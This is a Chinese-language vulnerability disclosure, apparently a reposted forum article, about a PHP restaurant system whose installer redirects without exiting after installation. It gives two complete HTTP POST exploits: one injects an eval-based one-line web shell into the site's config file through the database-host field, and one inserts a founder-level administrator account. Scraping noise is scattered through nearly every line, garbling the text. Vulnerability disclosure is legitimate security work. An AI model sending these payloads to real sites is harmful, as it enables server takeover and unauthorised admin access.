问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。9 ]8 k4 C4 g2 k/ H7 n
/ e+ p E9 G: R, ]9 s9 S4 E<?php
5 d; x4 O% ]& K# O3 e! pif(file_exists("../install.lock"))( R/ M: O: S; k! z. `1 q
{
7 [& Z- j3 T! F9 J6 D header("Location: ../");//没有退出
, k! C5 {; Y- F1 U+ y) A}
9 M' K, q# B4 W3 n
7 `/ U* P9 t: H, A8 u$ H5 T: C//echo 'tst';exit;7 Q0 v9 ]+ E3 }2 K
require_once("init.php");( G+ K1 V. `& ], I/ t! H
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
0 B9 ]8 U8 n; Y# @0 t+ @# r" a{
# \ ~$ p) [- K+ r0 L可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
9 z, [/ x8 x) r& {6 H3 q) \2 y) j
% @% I7 s `. n" @- V( L6 l% ~" _1、getshell(很危险)
: f8 X2 y W4 uif(empty($_REQUEST['step']) || $_REQUEST['step']==1)( s1 e8 O" c7 i4 ?. o
{4 u/ w$ B, A$ a$ {' k/ o" Z4 J6 `' ^
$smarty->assign("step",1);. q% U* c9 j6 w+ g9 m( r
$smarty->display("index.html");
0 b2 T0 l9 O7 E: H" f2 V$ F}elseif($_REQUEST['step']==2)
8 a# o2 H% ^" {9 D; d8 N% v$ w{
+ ^5 C0 i; j& x $mysql_host=trim($_POST['mysql_host']);) S5 p0 ^7 ^1 |6 j2 R1 I' U7 O* K
$mysql_user=trim($_POST['mysql_user']);- y' t+ J. C! i
$mysql_pwd=trim($_POST['mysql_pwd']);
a1 z* |. e! |" O! v# j' u6 n $mysql_db=trim($_POST['mysql_db']);
! v0 K5 j$ y8 S3 P" s, w/ p9 Z $tblpre=trim($_POST['tblpre']);- G( Q, {( p6 ]* Y/ e% k U
$domain==trim($_POST['domain']);
6 o# a' g3 J- s! Z0 Q $str="<?php \r\n";
" |/ u$ k: n; F( I $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";7 ~% G5 N: u7 ]( v6 }4 x6 P
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
( Y# L1 f8 K ^ $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
/ ?, T5 N2 j- R $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
w U" { ?/ e, @ $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
# g7 F# H% v+ t7 z8 \: h _ $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";5 [# |: F; N8 H8 G3 p7 {( [
$str.='define("DOMAIN","'.$domain.'");'."\r\n";% O/ U' C2 |8 ^" ^
$str.='define("SKINS","default");'."\r\n";5 r. { V* N; \ W6 w+ Z7 q
$str.='?>';
7 \4 w: |7 D. ^, F3 H file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件) E3 E! K/ f0 r4 U: \2 X/ A
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
2 l, @6 T+ l3 }' y- p. r$ `, q( e9 xPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
7 d4 i) ]( L: N9 FHost: 192.168.80.129
. v+ Y) f% y- X. G+ H! }. EUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
" a* R m3 J$ w1 i. g" Z2 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Z1 g$ o8 Q" uAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
9 P0 @- U3 H9 b- A, k6 N- k7 `, w! HAccept-Encoding: gzip, deflate. Y6 w: S; w( |0 P
Referer: http://192.168.80.129/canting/install/index.php?step=1
7 h2 k3 @, g iCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42! p; B) V- U8 Q _
Content-Type: application/x-www-form-urlencoded* D) ]1 X: W9 ?5 }! l% U" ]+ G7 D
Content-Length: 126. [8 f5 N$ H- S# l
. i i' T7 `! g/ y( ^# vmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
! }& Z5 N" {- |9 f& W* j0 E2 z但是这个方法很危险,将导致网站无法运行。
# j, n# T2 r/ A2 a- C4 k. p+ b0 `# w( x' ^% s( y* ^ p
2、直接添加管理员( T( e8 K$ [8 _
5 b; J" q" K$ {4 Velseif($_REQUEST['step']==5)+ d3 W$ E2 S' x- k, }0 c
{
0 A' y7 N: ~. m& W) `# |" `9 a7 I if($_POST)
# Z& s `/ y0 |/ b6 D { require_once("../config/config.inc.php");* n5 H0 E; C+ } o: r0 x
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
7 {7 f2 t; I9 {. z5 } mysql_select_db(MYSQL_DB,$link);1 f+ Q" W# P) S8 [! b m/ @) w
mysql_query("SET NAMES ".MYSQL_CHARSET );
$ q* r5 |$ I6 U mysql_query("SET sql_mode=''");& @2 q1 M1 }" X
' `! U; v F- ]& Z9 D
$adminname=trim($_POST['adminname']);
9 t) k5 o4 |, \7 h' Z $pwd1=trim($_POST['pwd1']);
i9 D8 C: |6 @/ b* O% n( P, N $pwd2=trim($_POST['pwd2']);! M1 p' [ L; a& {- d$ k
if(empty($adminname))
# w7 J# p3 Y/ s+ R* G* T' V {
# H3 K7 |9 `+ m% S/ `+ F. J4 ]/ P5 ]6 c. m6 V& b$ ~
echo "<script>alert('管理员不能为空');history.go(-1);</script>";; `/ Z: a) ^. _/ c" J* C" k
exit();
, F; F) ]# ~4 z" x9 F7 C }
4 M6 J0 i. D! c, G& }/ c if(($pwd1!=$pwd2) or empty($pwd1))' T. d# j, j; `) C9 A7 J2 ]
{2 C6 @, P, W& Q( @8 u
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出# u: \7 `! e b5 Y
}
2 G; j3 c. Q" k5 G mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员2 d/ p3 |7 E8 A" p3 I
}' u, o3 q" _4 L
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:' t" Z1 I t) T6 t
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
# C' R/ P4 n, D; l+ E5 l% JHost: 192.168.80.129
! |1 Y* A8 A6 H* `% JUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0# A3 `) q, D: b" r* y5 A9 n/ @- s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8# [1 B7 e; M- g" B( Q L- j8 G, ?1 W
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3/ {" g* {1 F! L; e
Accept-Encoding: gzip, deflate
3 A8 T) k- \- G( @( gReferer: http://www.2cto.com /canting/install/index.php?step=1 D' C& ~$ b3 R
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
; o3 p1 y4 r% O/ k" v( f3 \* t* iContent-Type: application/x-www-form-urlencoded
4 v* N, c1 j2 w. w/ r% IContent-Length: 46
3 m9 F% _7 ]9 H& P
. W9 K+ \0 ^$ w) Q2 G8 ^+ J% z- zadminname=qingshen&pwd1=qingshen&pwd2=qingshen
1 [$ c/ S& B% `# ]+ j" ` |